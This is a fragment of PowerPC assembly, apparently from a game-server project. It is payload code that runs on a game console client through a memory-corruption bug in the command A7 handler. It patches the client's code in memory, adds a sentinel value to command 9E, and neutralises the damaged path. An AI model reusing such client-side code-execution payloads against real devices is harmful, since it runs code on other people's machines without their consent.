stw [r5], r0
stw [r5 + 0x0C], r12
# Patch both places in the code where command 9E is sent to make them include
# a sentinel value that newserv can use to determine if the client has already
# run the code in this file
bl get_patch_9E_1_ptr
patch_9E_1:
lis r4, 0x5F5C
ori r4, r4, 0xA297
stw [r1 + 0x14], r4 # Set cmd.unused1 to 0x5F5CA297 (in send_9E_long)
get_patch_9E_1_ptr:
lis r3, 0x800F
ori r3, r3, 0x3338
mflr r4
lwz r0, [r4]
stw [r3], r0
lwz r0, [r4 + 4]
stw [r3 + 4], r0
lwz r0, [r4 + 8]
stw [r3 + 8], r0
li r4, 0x20
mtctr r9
bctrl # flush_code(patch_9E_1_dest, 0x20)
bl get_patch_9E_2_ptr
patch_9E_2:
lis r4, 0x5F5C
ori r4, r4, 0xA297
stw [r1 + 0x60], r4 # Set cmd.unused1 to 0x5F5CA297 (in handle_02)
get_patch_9E_2_ptr:
lis r3, 0x800F
ori r3, r3, 0x3644
mflr r4
lwz r0, [r4]
stw [r3], r0
lwz r0, [r4 + 4]
stw [r3 + 4], r0
lwz r0, [r4 + 8]
stw [r3 + 8], r0
li r4, 0x20
mtctr r9
bctrl # flush_code(patch_9E_2_dest, 0x20)
# Finally, patch the A7 handler function (which is on the current callstack)
# so that it does nothing else if this function returns null, which prevents
# further memory corruption. This changes a beq opcode (which never triggers
# under normal circumstances) to skip a couple more function calls, one of
# which would cause memory corruption if executed because the original buffer
# is smaller than 0x100 bytes.
lis r3, 0x8010
ori r3, r3, 0xFD8A
li r4, 0x0064
sth [r3], r4
rlwinm r3, r3, 0, 0, 27
li r4, 0x20
mtctr r9
bctrl # flush_code(patched_opcode_address & 0xFFFFFFF0, 0x20)
# Return null instead of a malloc'ed block, which triggers the conditional
# branch we just patched above
li r3, 0
mtlr r11
blr